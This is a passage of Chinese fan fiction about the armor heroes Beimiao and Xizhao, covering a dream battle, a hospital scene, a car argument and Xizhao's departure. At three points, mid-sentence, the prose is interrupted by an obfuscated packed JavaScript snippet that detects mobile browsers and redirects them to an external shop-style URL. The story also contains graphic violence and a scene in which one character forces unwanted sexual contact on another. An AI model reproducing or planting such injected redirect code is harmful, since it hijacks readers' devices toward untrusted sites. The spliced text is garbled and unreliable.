一个熟悉又陌生的声音从身后传来,西钊转身的同时本能地躲过袭来的黑色长枪,极快的反应速度让北淼也恍惚了一下。西钊翻滚到一边,召唤晶片垂在他手腕,散发着黯淡的光。在西钊对面,黑犀铠甲握着流星枪随时准备发动第二次突袭。北淼确信,铠甲里的人是他没错,但从别人的视角听自己说话实在是太奇怪了。更何况是在自己最混蛋的时期。 北淼听见西钊说:“北淼,我不想跟你打。如果你想让我退出,我会离开。没有必要做这种、没有意义的事情。” “北淼”转了转手中的长枪,“锵”一声立于地面,震得未完成的建筑都跟着晃动起来。他嗤笑道:“哼。我来,就是要告诉你,我是他们的领队,我可不会让一个‘烂橘子’在我们队里……发烂发臭。但我也不能让你再召唤雪獒铠甲、继续做他们的走狗、坏我们的好事。” “北淼… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334642|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”积蓄的愤怒使西钊的血液升温,但北淼在这之中却感觉不到敌意,甚至没有战意,那不是因为自己受到羞辱而产生的怒火,而是因为“必须要和朋友战斗、不被伙伴所信任”。西钊的声线由于波动的情绪微微颤抖,不甘却卑微,“我知道,你不信任我。但我真的已经和他们彻底断绝关系,不会再召唤铠甲、也不会再打扰你们。” “那就试试看,你有多大的本事、能走出这里!” “!” 几乎是一瞬间,“北淼”提枪转柄、闪身而上,流星枪直冲西钊面门。西钊狼狈地侧滚翻堪堪避开,刃风擦过他的腰撕裂他的衣服。“北淼”试图在西钊能站起身之前给予致命一击,但长枪的几次前突都被西钊敏捷地歪头躲开。蓄满“水之力”的最后一次突进西钊终是躲闪不及,只得交叉双臂在面前做最基本的格挡。奈何凡人之躯不如铠甲坚硬,承受不起“北淼”充满恶意的攻击,就这么硬生生被击飞、直至背部重重地撞在承重柱上。 好痛。北淼找不到别的形容词来描述现在的感受。他从没想过自己有一天为了达到目的会这样下狠手,甚至有一瞬间怀疑自己会不会被这一枪“扎”出去。真的太痛了。他觉得西钊的五脏六腑都在流血,骨头也碎了不少。但望着提枪逼近的“北淼”,西钊只是用尽全身力气站起身,他发出的第一个音节就被肺里的血堵住,咳了一阵才挤出那破碎的词句:“我……我不会跟你打的、北淼。” “为什么不召唤铠甲?” 为什么么不召唤铠甲! “北淼”觉得自己在不公平的对决中受到了羞辱,而北淼却在这肝胆俱裂的痛苦中疑惑不解。 “北淼……咳、这样、对谁都没有好处。如果你想发火、就冲我来吧……我不愿意和朋友、呃!” 西钊话音未落,“北淼”已经伸手掐住他的喉咙,死死地按在承重柱上:“别把我和你这个叛徒相提并论!”接着,他在松手的瞬间一拳结结实实地击中了西钊的腹部。西钊疼得发不出声音,倒在地上依然想挣扎着爬起。 北淼很熟悉这种失了理智的愤怒和深恶痛绝的力道,为了问出冰儿的下落,他对丑将也这么做过。他感觉西钊就像充气的袋装薯片,被人以各种方式摇来晃去,外面看起来完好无损,内部却已经粉身碎骨、残破不堪——或许、某种意义上说,北淼自己也是如此。 “影界的人还真是不堪一击。”骄傲的黑犀冷笑一声,后撤一步缓缓拧下腰带左侧的必杀按钮,深绿的“扎”字帖映在西钊面前,“今天,就在这里了结你吧!” 混蛋!北淼抑制不住地骂了一声,然而这样的愤懑完全无法传达到西钊心里。西钊艰难地倚着承重柱站起来,北淼都能感觉到他的双腿在发软。到底是什么让他一次次站起来?他到底想向“北淼”传达什么? 不要再错下去了……北淼。 西钊真切诚恳的心声也回响在北淼脑海,“狂瀑扎”帖近在眉睫,北淼强烈的意志让他在那一瞬静止了时间,连他自己都毫无自觉。因为在他脑中,只剩下了一句话: “我不愿意、和朋友战斗。” ……朋友。 他忽然想起深陷苦战时赶来支援的炘南、想起内乱时因劝架而受伤的坤中、想起因自己中圈套而重伤的东杉、想起受尽排挤两边不是人的西钊。他又想起、为了救那个鲁莽的他、毫不犹豫解除铠甲而重伤住院的所有人。 这就是西钊想要拿命来告诉“他”的事情吗?因为他把北淼视为伙伴,所以他不会出卖朋友、至死也不会和朋友战斗。太傻了。北淼想。这个人比那时和他对决的炘南还要傻。他北淼,哪里是你值得用命来上一课的家伙啊。死在这种人手里,也太没品了。 北淼苦笑着,将这份心意慢慢沉淀。 西钊,好好看着吧,我不会再错下去了。 所以…… 犀牛的利角撕裂帖文,朝着西钊的方向冲刺。千钧一发之际,西钊口袋中的召唤器与手腕的晶片迸发出温暖的白色辉光,整个世界刹那间一片空白。待强光散去,白色的铠甲伸手挡在西钊面前,流星枪的“狂瀑扎”仅仅只是击中了雪獒的背甲,擦出的点点星火如灰烬般落下,顷刻间散作尘埃。 所以,可别这么死掉啊,臭小子。 穿上雪獒铠甲的感觉很奇妙,当北淼看到西钊震惊的表情,他就知道自己也成功突破了那道“壁障”,将想要保护他、给自己第二次机会的心意通过这样的方式传达给他。 也许让两个人真正意义上“心意相通”是一件极其困难的事,但好在,西钊是这世界最坚固的“金”,用尽全力在他们之中劈开了一道裂痕;而他是这世界最狂暴“水”,无畏无惧向着裂缝肆无忌惮地闯了进去。 “你、你是……” 北淼还没等西钊说完后半句,身后传来的熟悉笑声让他的血液瞬间凝固。 “终于抓到你了,破坏我计划的臭老鼠。” TBC 15. 矛盾的开始 北淼还没来得及转身朝那声音发起攻击,他脑内就传来一阵剧烈的疼痛,逼得他不得不单膝跪下,铠甲在那瞬间被迫解除。 “北淼!” 西钊也顾不得探究北淼出现在雪獒铠甲之中的原因,踉跄几步也跪立在北淼身后,像方才北淼护住他一样伸手用自己的身体挡住呻吟不止的北淼。面前的黑犀铠甲已经消失不见,取而代之的是由一股黑雾凝成的人形。 丑将双手交握,一边缓慢搓手一边在西钊眼前来回踱步:“哎呀呀……从一开始我就说了,这家伙会破坏我的计划,可你呢,还是放任他在这里‘多管闲事’。看来……你得到的教训还不够啊。” “啊啊啊啊啊——!!” 丑将一个响指,西钊身后的北淼顿时痛呼不止。 “住手!”西钊想站起来,但方才差点让他粉身碎骨的战斗让他除了说话什么都做不到,只得咬牙切齿地瞪着丑将,“我不知道你在说什么。你先停手……” “哟,这是真傻还是装傻?”丑将走上前抓住西钊的头发,迫使他抬起头,殷红的血从西钊嘴角流下。丑将左右随意摆弄着西钊的脑袋观察一番,哼笑道,“还真不像在说谎,有意思有意思。看来我们得调整调整‘交易’内容了。不过首先嘛——”话音刚落,丑将大手一挥,西钊身后的身影突然消失,只留下余音回荡。他抬脚把西钊踹倒在地,全然不顾对方又咳出一口血:“所以,你从一开始就不知道他能进来,是吧?” 不知道。西钊只剩下了摇头的力气。 “看在你这么可怜的份上,我姑且相信你一次。如果再让我看到他干涉你的噩梦……我会让你知道,直接在精神世界摧毁他可比在现实世界容易多了。”丑将悠哉悠哉地背转过身,接着迅速回旋给了西钊一脚,“我不管你用什么方法,别让那家伙来捣乱,听懂了吗?” 西钊呜咽着点点头,意识渐渐归于混沌。 ———— 北淼惊醒时,他还没从刚刚似真似幻的剧痛中缓过神。那不是他第一次有这样的感觉。那种直击灵魂的要把他五马分尸的撕裂感太过熟悉,但他总是记不起到底是什么时候曾有过相似的情况。现在他只知道一件事:他第一次真正意义上地被“逐出”了西钊的梦境。 北淼不知道自己失去意识的时间有多长,但观察室的闹剧似乎已经结束,病房里只剩下熟睡的隔壁床病患,以及北淼和西钊。西钊还没醒,但点滴已经见底,北淼一边按下墙上的护士铃,一边抬起西钊的手让血不回流。因为“链接”短期内似乎不会出现第二次,所以北淼才放下心握上西钊的手腕。 西钊白色的睡衣袖子随着北淼的动作松松垮垮地滑落,刺眼的黑色印记映入北淼眼中。北淼心里抽痛一下,正要把袖子拉回来遮住,谁知那印记竟在睡衣颜色的衬托下显现出淡淡的幽暗绿光,如果不仔细看根本发现不了。 怎么回事?不是说这个东西只是会让他“幻痛”和做噩梦吗?为什么会有这种类似异能量的反应?西钊到底还瞒着他多少事情? 北淼的头又开始痛起来。这痛感犹如随时断裂的细绳,而北淼正死死拽着它攀登名为“过去”的悬崖峭壁。他的心神不能乱,他必须把这一切梳理清楚。 首先,最可疑的就是西钊态度的突然转变,那时北淼除了噩梦第一次受到西钊的安抚之外,就是从床上莫名其妙掉下来——他活了二十多年从来没因为噩梦这么失态,但他不记得自己是怎么下地的。那么,这段空白的记忆会和印记有关吗? 其次,北淼不是第一次在西钊的梦里看到丑将,而每一次他的出现都和北淼有关,上一次丑将和西钊提到了某个“交易”,这一次他们再次提到了某个“计划”,这其中一定有猫腻。人的噩梦都是基于现实,西钊在害怕丑将的计划伤害到北淼,这是事实。那么最开始那个噩梦里西钊说的“按你说的做就会放过北淼”是什么意思?如果是基于他们依旧是敌对阵营时诞生的梦魇,那就无法解释西钊的条件是只放过他北淼一个人,而不是“其他无辜的人”,西钊的好兄弟还有坤中呢。 最后,梦境终究是虚幻的,按道理进入梦境的北淼才是某种“高纬度”的存在,但这一次的丑将却反过来干涉了他,直接将他从本属于西钊的梦里赶了出来。这完全不符合逻辑。 北淼爬上思维的山顶时,他脑中的痛感也随之消失。 结合这个印记来看,北淼总结出:那个“丑将”绝对不是梦的一部分,且西钊和他之间存在某种会伤害到北淼的“交易”,虽然他还不知道丑将真正的目的是什么,但西钊为了确保北淼的安全,目前正在为丑将卖命。 “我也有、必须留下的理由。” 北淼突然睁大眼睛、茅塞顿开——这才是西钊突然改变主意、跟他回家的真正原因!居然真的是为了他。 即使北淼再怎么希望西钊有继续存在于这世界的牵挂,也不是以现在这样的方式。西钊忍受着内心煎熬的时候他居然还在为西钊或许是想要治愈他的梦魇而留下来沾沾自喜。太可笑了。北淼闭了闭眼,握拳捶在病床上,恨自己太迟钝,也怨自己太自私。现在西钊深陷泥潭,他也成了威胁西钊的筹码。北淼必须尽快解决丑将这个麻烦。想让西钊自己把这件事说出来是不可能的,一方面以西钊的性格他肯定不会主动说,另一方面,北淼不能冒着被丑将窥视的风险;而直接和西钊对峙更不可行,他不能打草惊蛇,鲁莽带来的代价他已经尝够了。 不知道能不能神不知鬼不觉地把西钊骗到美真那里。北淼想。影界的事最好还是先和美真他们商量商量再做决定,而且不能让西钊知道。以及,西钊似乎已经知道北淼能窥探梦境了,而北淼还没想好要怎么和西钊解释。“其实你也看过了我的梦,我们扯平”?得了吧。 “谁按的铃?” 推门而入的护士打断北淼的胡思乱想。 “我。”北淼举起手,让出了位置。 西钊在护士拔出针头时睁开了眼。似乎没有习惯惨白的医院墙壁和惨白的灯光,西钊抬手遮着脸迷糊了好一会儿才撑床坐起来。 “西钊,你怎么样?”北淼做了个伸手要扶他的姿势,西钊摇摇头表示不需要,他只好收回手。 这个“梦”让西钊身心俱疲。另一个北淼的出现让他在噩梦中感受到了前所未有的温暖,和当初一同沉溺深海的感觉很像。但当他回想起丑将的话,脸上就怎么也扯不出笑容。他刚刚才通过丑将知道北淼也能进入他的梦里“捣乱”,那北淼之前为什么不告诉他这件事?更重要的是,如果北淼的目的和自己一样,怎样才能让倔脾气的北淼放弃继续这么做? 西钊盯着病床被单,沉默良久。他知道跟北淼好言相劝是不行的,要让他死心,就必须……就必须让他心死。可那样的话,他之前做的一切不就都白费了吗?他怎么忍心,在终于抓住他时松开他,任由他坠落? “哎哟哟哟,心疼了?”丑将的声音阴魂不散地萦绕在西钊耳边,“你真以为,他需要你‘救’?你哪儿来的自信,只有你才能安慰他?别人不行吗?嗯?他还有妹妹、有家人、有朋友。而你,你有什么?” ……我有什么?我…… “西钊?”北淼见西钊一直在对空气发呆,凑近了些,关切地问,“哪里不舒服吗?” 西钊疲惫地抬眼看向他,苦笑道:“没什么,只是饿了。” ———— 跑车内,没有人说话。北淼安静地开车,西钊望向窗外,氛围莫名压抑。 终于,西钊打破了这片诡异的沉默。他想,这件事,他们迟早是要捅破的。于是他问:“什么时候?” “什么?”北淼愣了一下。 “你第一次看到我的梦,是什么时候?” “那时在影界基地,我问你,你会梦见什么,那时候你不清醒,我碰到了你的手,接着我就看见了你描述的画面。”北淼没有回避问题,坦诚是他目前能想到最好的交流方式。 西钊沉痛地闭上眼,咬了咬下唇,似是下定了某种决心,平和的语气忽然变得冷淡:“为什么、不告诉我?你不觉得,这样在别人的梦里肆意妄为,很没礼貌吗?” 什么? 北淼眉头一皱,将西钊突变的态度放到一边,下意识反驳道:“你也这么做过,好像……没资格说我吧?” 北淼自以为这话听上去并没有那么严肃,更接近于调侃,试图活跃这死气沉沉的氛围。然而西钊却嘲讽地笑出声:“那是因为我欠你人情。你照顾我、我安慰你,我们两清。” 北淼抬脚,踩住刹车,将车停在了路边。他的手紧紧握着方向盘,难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334643|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信地看向西钊:“两清?你这是什么意思?我没有要求你给我回报。西钊,你怎么了?” “你给我的一切都是你强加给我的。”西钊由始至终没有将视线从窗外移开,“我从来没有要求你为我做这些,你也从来不考虑我是否需要。你还是没变,北淼,永远只顾着自己。” 性子本就直烈的北淼一听这话,无名火直窜而上,侧过身瞪着西钊摊开手,几乎要被气得笑出声:“强加?我也没见你拒绝啊。一开始不说,现在知道埋怨了?我把舌头伸进你嘴里的时候,怎么没见你把我推开?” “……我的沉默不是你得寸进尺的理由,北淼。”面对北淼的反讽和羞辱,西钊暗暗握紧了拳头。就是这样,他需要让北淼生气、让他对自己发火。 北淼冷冷地哼笑一声,倾身向前凑近西钊:“但我不觉得你讨厌我这么做,西钊。” “我不明白你的意思。” “好,那我就让你明白。” 北淼伸手掐住西钊的下巴,强行让他与自己对视。西钊的身体有些僵硬,呼吸瞬间不稳,心跳也在不停加速,仿佛在强行压抑着某种情绪的爆发。北淼的手指缓缓从西钊的下颚线落到脖颈,指尖在他皮肤上轻轻划过,温暖而有力,像是安抚,又像是想要征服。 “在你说停之前,我不会停手。”北淼贴到西钊耳边,一呼一吸磨得西钊耳尖发红,“我很好奇,你能‘沉默’多久。” 西钊的瞳孔微微收缩,狭窄空间和北淼的侵略带来的压抑感越来越强烈,几乎要逼得他喘不过气来。他想挣脱,却被这股无形的力量牢牢束缚住。眼前的北淼显然没有任何打算放手的意思,仿佛已经进入了一种无法自控的状态。 “北淼……”西钊终究还是忍不住低声唤道,他试图推开北淼,然而都是徒劳无功。事情不应该发展成这样的,北淼在干什么? 没有给西钊更多思考的机会,北淼完全不顾他的挣扎,手指在西钊脖颈上轻轻游走,接着滑到他的锁骨,勾勒它的轮廓,动作如同精心设计,既是完美的挑逗又是极致的危险。 “等等、北淼……”西钊撤身后退靠在车门上,试图逃开北淼的触碰。 “‘等等’可不是拒绝。”北淼一边冷漠地打断西钊的话,一边毫不顾忌地抓住西钊的衣领将他整个人拽回来。他埋进西钊颈窝,歪头对着西钊的侧颈用力咬了下去,没有任何技术和温柔,犬齿陷入脆弱肌肤的力道几乎是赤裸裸的挑衅。 “啊……!” 好痛!西钊感觉那里肯定已经被咬出血了。他身子发软,所有的抗拒在这一刻被无情吞噬,自己的心跳声在耳边不停轰鸣。直到北淼的手从下往上掀起西钊的衣角,冰凉的指尖与升温的体肤相触,西钊这才如受到电击一般、力量瞬间涌入双手,憋着一口气终于推离了北淼。 “住手,北淼!”西钊几乎是从喉咙中挤出来的声音,怒气和无力交织,情绪在爆发的边缘挣扎,抬手捂着颈侧,“你冷静一点!” 北淼稳住身子,嘴上残留着西钊的血。他不自觉地舔舔唇,眼里浮现出一种深藏的难以言表的复杂:“可惜,我还以为,你会继续让我‘得寸进尺’。”北淼抬手曲指,示意西钊往自己身边靠近,“过来。让我看看。” 西钊吃痛地“嘶”了一声,避开北淼,手依旧盖在伤口上不愿拿下来,无力地歪头抵着车窗:“听着,北淼,我现在拒绝你、应该不算晚。以后、我们谁都不要越界。好吗?” 北淼不打算继续自讨无趣,撤回身双手握好方向盘,不再看着西钊,但发白的骨节依旧暴露了他烦躁的情绪:“哼。越界……你根本就不知道、‘界限’在哪。” 等两个人终于都冷静下来后,沉默又开始在他们二人之中蔓延。 北淼心情复杂,他很清楚刚刚自己在做什么,但西钊未必知道。是什么让西钊突然对他恶言相向?难道是印记的影响吗?还是丑将逼迫西钊这么做的?现在情报太少,西钊和他的关系又突然被拉回原点,颇有‘屋漏偏逢连夜雨’的感觉。 可恶。北淼一巴掌拍在方向盘上,引得西钊抬眼一瞥。 不过说实在的,如果西钊一直不说“停”,北淼还真不知道接下来会发生什么。 他至今还是不知道男的和男的要怎么做。 TBC 16. 界限 太阳从海天一线爬上云端,西钊穿着最初属于自己的唯一一套衣服,站在海边的石柱围栏前,一言不发地沐浴在晨曦的光与清冷的海风之中。 “西钊!西钊——!” 西钊身后传来熟悉的、任何时候都充满活力的声音。他垂眸回头,果不其然看到了那个人抱着篮球小步跑过来。也不知是不是巧合,他发现那个家伙身上穿着他们初次相遇时候的兜帽衫,这让西钊心中多了一份感慨。 “坤中。”等坤中跑到他面前,他才低低应了一声方才的呼唤。 坤中自然地拍拍西钊肩膀,故作委屈地控诉道:“我说西钊兄,这么大清早的把我从床上叫起来,如果不让我个三分,可就说不过去了。噢,还有,你这地方,离球场也太远了,害我找半天,所以,你要再让我两分!” 西钊成功被坤中逗笑,心中那份苦闷似乎冲淡了些许。他拿过坤中手里的篮球,一边在手中随意抛接,一边转身沿着马路漫步,回头示意坤中也跟上来:“你也太不讲道理了。哪有你这样欺负人的?” “我才没有!瞧好了!”坤中三步并两步跨上前,一个漂亮的转身上掏夺走了西钊正抛在半空的篮球,落地时自信满满地抬手朝西钊比了个开枪的手势,“看到了吧?这才是我真正的实力!” 西钊无奈摇头,没有搭话,嘴角的笑意褪去,就好像刚刚的玩闹耗费了他积攒的所有能量。坤中也发现西钊心不在焉,索性将篮球圈在臂弯,回到西钊身侧和他一起压马路。 “西钊,你怎么了?哎呀,我刚刚开玩笑的!”坤中凑到西钊眼前,想从西钊的表情里看出什么,但西钊只是像坤中刚认识他时那样满面忧郁,眼中夹杂的情绪太多,反而看不出个所以然来。没办法,坤中只好拿出杀手锏:“那这样,今天我们不打球了,往前走几步有个大排档,我跟老板认识,那儿的炖肉火锅是整条街最好吃的!我妈常说,人不开心的时候,就干两件事:运动、吃东西。走走走,这个点他们正好开门。” “等、坤中……”还没等西钊说什么,坤中已经拽着西钊的手臂加快脚步往路的尽头赶了。西钊的余光瞥见坤中兴奋的模样,欲言又止。果然,北淼说的没错,他从来不擅长拒绝。 其实坤中的饭量不算大,但西钊的胃在他们当中一个能顶俩。整整一大锅麻辣炖肉,大半都是西钊解决的,这还是坤中非常不客气、吃得很饱的前提。为了缓解嘴里的麻和辣,坤中几乎干掉一整瓶饮料,而西钊滴水未进,汤倒是喝了不少。 坤中放下饮料瓶时,西钊也正好放下筷子:“我去结账。” 然而西钊还没完全站起身,就被坤中按着两边肩膀压了下去:“不行!今天说什么也是我请客。你要实在觉得过意不去,一会儿就告诉我发生什么事、让你这么愁眉苦脸的。” 西钊微微愣神,反应过来后便低头苦笑:“好。” 他们一边闲聊,一边沿着海边那条路走到了经常打球的球场,但他们只是将篮球随意放在脚下,在球场旁的长凳上并排而坐。西钊没有和坤中说太多他和北淼之间的事,只是将他与北淼的那种“链接”简单解释给坤中听。 “噢,所以你才生他的气。”坤中以拳击掌,恍然大悟,“我也觉得北淼有点过分。要是我脑袋里的想法被别人这么偷窥,还不让我知道,我心里也不好受。西钊,我觉得你还是太心软了,之前北淼就是知道你好欺负,才把什么错都怪在你头上。虽然现在、大家都是朋友,但总要有个界限吧。” “界限……”西钊双膝撑着手肘,弯下腰十指交握,低声喃喃自语,“‘朋友’的界限,到底是什么?” 我和你,究竟是谁先越了界? “不过这种事,大家说清楚就好了。要是北淼不肯道歉,我就让炘南哥和东杉哥把他架过来磕头谢罪!”似乎没有听到西钊的低语,坤中的手还搭在西钊肩膀上,笑着安慰他,“至于你们能互相看到对方梦境这件事,问问美真姐,总会有办法解决的。” “……如果事情真有这么简单就好了。”西钊无奈地叹口气,忽然想起什么,从口袋里拿出半盒巧克力饼干棒,递给坤中瞧瞧,“你知道,关于这个东西的一个游戏吗?” 刚刚的话题就这么轻而易举地被西钊带偏了,坤中将饼干盒接过来,似乎是勾起了不太好的回忆,怨声道:“哎……当然知道。之前参加学弟学妹的同学聚会,被他们用‘国王游戏’捉弄得可惨了!当时,我们好几个男生都以为对方要亲上来,学妹们在旁边都笑疯了……” 西钊勾起嘴角,从盒子里拿出一根饼干棒在手中端详:“你们、会真的亲下去吗?” “啊?当然不会。”坤中惊讶又困惑地摇头。 于是西钊又问:“但亲上去咬断、或者,用舌头把嘴里的抢走,不是更容易赢吗?” 坤中手里的饼干盒都吓掉了,西钊反应迅速地在盒子落地前接住,抬眼就看到坤中如同甩水的猫一样摇头:“没人会这么干的,西钊,你这个想法也太恐怖了……要知道、朋友之间是不会接吻的,更别说、更别说……”更别说用舌头了。坤中指指自己的嘴,张口想说后半句,最终还是红了脸没憋出来。 “我知道了。”西钊浅浅笑着,夹在手里的那根饼干棒就这么塞进坤中嘴里。他收好那半盒饼干站起身,“忘了这件事吧,就当我没提过。”西钊弯腰捡起篮球,后退几步将篮球扔给还坐在长凳上的坤中,“谢谢你陪我,坤中。我还有事,先走了。” “唔、嗯?”坤中双手抱着篮球,嘴里叼着饼干棒,说话都有些含糊,“那、那下次再约!可别忘了,我领先你5分哦!” 西钊扯了扯嘴角,没有答应,也没有拒绝。背转身走了几步,他又回过头来,将口袋里的手机也扔了过去。坤中不得不丢下篮球,差点没接住手机。他听到西钊说:“这个、麻烦你帮我保管一下。” “可是,没了手机,我要怎么联系你?”坤中不解。 西钊双手插着口袋,望向天空,微微眯起眼睛:“不出意外的话,过不了多久,有人就会找上你的。” “啊?” 不等坤中再多问几句,西钊的身影已经消失在他的视野中。偌大的球场上,只剩一个拿着手机的人、一个缓缓滚动的篮球、和一部突然响起的手机。坤中看向亮起的屏幕,来电显示赫然写着:北淼。 坤中顿感晴天霹雳。 不是吧西钊!你不能这么对兄弟啊!怎么把烫手山芋就这么丢给他啊!接还是不接,这是个送命题啊,西钊!! 犹豫再三,坤中最终还是没按下接听键。 原谅我,北淼。解铃还须系铃人,我还是听西钊兄的话,不做多余的事为好。 坤中双手合十,低头忏悔道。 ———— 几小时前。 虽然二人在车上闹了些不愉快,但北淼庆幸西钊依旧选择跟他一起回家。然而,这并没有缓解他们之间莫名紧绷的氛围。 北淼先是给冰儿报平安,接着给西钊洗好路上买的水果。因为西钊不让他靠近,北淼只好把酒精和纱布连同水果一起送到西钊的房间。西钊一言不发地靠坐在床,手心和脖颈还残留着血渍没有清洗,直到北淼说“你休息吧,我不会打扰你”离开房间后,西钊才伸手拿盘里的水果。 草莓很甜。甜得他鼻子发酸。 他不知道北淼有没有看出来他在说谎、是不是真的对他生气。但丑将已经下了“最后通牒”,他不敢保证北淼会不会在他睡着时意气用事,加上他刚刚才跟北淼“划清界限”,这就导致他现在能为北淼做的事少之又少。 “你哪里来的自信、觉得只有你能安慰他?” 西钊咽下第二颗草莓时,丑将曾说过的话又浮现在脑海。是啊,好像从一开始,西钊就在“一厢情愿”地认为北淼会因为他的消失无法走出梦魇,却不知北淼拥有无数亲朋好友的陪伴。再加上,还有冰儿在他身边。对北淼来说,即使没有西钊的干涉,“一切都会好”。一切本来就会变好。 所以,西钊不禁想,抛开丑将不谈,他留下,究竟是因为有人牵着断线的风筝,一同追逐风浪;还是疲累的飞鸟留念大地,落在那人宽厚的臂膀。 真甜啊。 哽咽的动作挤压口腔,柔软的草莓被无情碾碎。这一口冰冷的鲜甜,西钊怎么也咽不下。 “你给我的一切,都是你强加给我的。” 是啊,这些都不属于他。这里一直都是北淼的家、是冰儿的家,不是他的。 “而你?你有什么?” 我什么都没有。 西钊走下床,简单地给伤口进行了清洗和包扎。他来到衣柜前,在最下面拿出那一套唯独“属于他”的衣服换上。他拉开窗帘向外四处张望,试图寻找“落脚点”。北淼的复式层并不高,以他的身手从这里跳下去不成问题。他将床被整理好、睡衣叠得方方正正,甚至把房间也收拾了个遍,就好像这里不曾有人来过。 做好一切准备走到窗台前,西钊最后一次回头看向空荡的房间,视线瞟到桌上基本没动过的水果。他犹豫片刻,伸手拿了个草莓叼在嘴里,双手拉开窗户,踏着窗台纵身跃下。 北淼换了身衣服、收拾好东西之后,忽然想起他忘记交代西钊关于咖啡过量的事情。他来到西钊房间门口下意识地握住门把手想要开门进入,但回想起他们在车里的争执,北淼停住动作,犹犹豫豫地敲了敲门。 “西钊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334644|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我有话跟你说。你要是、不想我进来,我就站在门口。” 没有任何回应,北淼也听不到任何响动。不会又出什么事了吧?北淼有些不安,再次敲敲门,力度更大,频率也更快:“西钊?”还是没回应。北淼在一片死寂中等得不耐烦了,打着破罐子破摔的心态按下门把手,“西钊,我进来了。” 迎面而来的是一阵清晨的凉风。 北淼首先注意到的是大开的窗户,接着他看到了桌上基本没动的水果、一尘不染的房间、整齐的床被,以及床尾叠得很好的睡衣。北淼反应迅速,冲到窗台上四下张望,但根本没有那个人的影子。 他终究还是走了。 “这个混蛋!” 北淼匆忙下楼,抓起定位器和车钥匙摔门而出。 他承认自己的确被西钊勾起情绪,一时失了理智做出那样的事,但他知道西钊说的那些话很大可能不是真心的,为的就是要让两个人产生隔阂。北淼不知道西钊这么做的目的,他甚至分不清,西钊离开是因为自己“过于亲近”吓到了他,还是打算彻底断绝北淼接触他的可能。 无论答案是哪一个,他都打算让西钊亲口告诉他。 北淼跟随定位器上的坐标一路来到陌生的街区。他一直在给西钊打电话,但西钊一个都没有接,北淼只能对着手机和定位器干着急。他一直追到车开不进的小巷,下车一路小跑跟着定位器上的点移动。最后,等他的位置和圆点重合,北淼发现,面前人并不是西钊。 “好,那我先回去了!”和报刊亭老板打过一声招呼的坤中转身正要离开,北淼仿佛怨鬼般突然出现在他面前,阴沉的脸色把坤中吓了一大跳,“哇、哇!北淼、你、你吓死我了……” “西钊呢?”北淼开门见山,一个字都不想多说。 原来西钊说的“有人找上门”是这个意思啊……坤中满脸无奈,抓抓后脑勺:“你问我、我怎么知道?” 没有西钊在身边,北淼的耐心消耗得很快,一把将坤中拽到旁边无人经过的巷子里:“那他的手机为什么会在你这里?” “西钊让我帮他保管一下……” “这么说你见过他!”北淼一巴掌按在坤中脸侧的墙上,“在哪儿?” 从惊吓里冷静下来的坤中突然对北淼反常的激动情绪表示困惑,明明就是北淼的错,怎么发这么大脾气?难怪西钊不想被北淼找到。坤中伸手把北淼推开,不服气地为西钊辩解:“如果不是你先瞒着西钊、侵犯他的隐私,事情就不会变成这样。你不能因为西钊心软、就得寸进尺。你应该给西钊道歉。” 北淼睁大眼睛指着自己,被坤中这一番话气笑了,西钊到底和坤中说了什么?现在学会给他泼脏水报复他了? “你觉得这是我的错?他怎么不说他也进了我的脑子?知道说我吃了他嘴里的东西‘越界’,不知道说他故意凑过来亲我?我要的不过是他稳定下来好好生活,我做错什么了?” ……不是,等一下。 坤中的大脑迅速消化刚刚北淼朝他大声质问的每一个字。前面听着挺正常的,后面怎么好像超出了坤中的理解范围。他立马想起西钊问他的那句“会不会直接亲下去”“用舌头抢走”,突然觉得自己明白了什么不应该明白的事情。 这不是烫手山芋啊,西钊兄,这是来自活火山的岩石啊! “……” “……” 就好像听到了坤中心里的悲鸣,北淼看着他震惊的模样,意识到自己传达给坤中的信息和西钊的并不同步。这下可惨了。 北淼收回撑着墙的手,转身握拳遮住口鼻轻咳一声:“忘掉我说的话。把手机给我。” 坤中这才知道西钊并没有告诉他事情的全貌,情况一下子变得复杂起来,他把手机拿在手里,有些犹豫:“北淼,一定要这么做吗?也许西钊他……” “我不管你在想什么,都不是你想的那样。”北淼直接抢过手机,打断了坤中的话,“我只能告诉你,现在不找到他,以后就永远都找不回来。到时候,你负得起这个责吗?” “这、这是什么意思?” 北淼没有在这个问题上浪费时间:“你们最后见面的地方在哪,他之后往哪个方向走了?” 坤中低下头,纠结许久,最终还是为北淼指了一个方向。得到方位的北淼立即转身往停车位跑,坤中在身后忽然喊了他一声。 “西钊他、会没事的吧?” “放心。”北淼紧握手机的力道几乎要将其捏碎,“我不会让他有事。” 望着北淼消失在转角的身影,坤中摸了摸后颈,疑惑地自言自语: 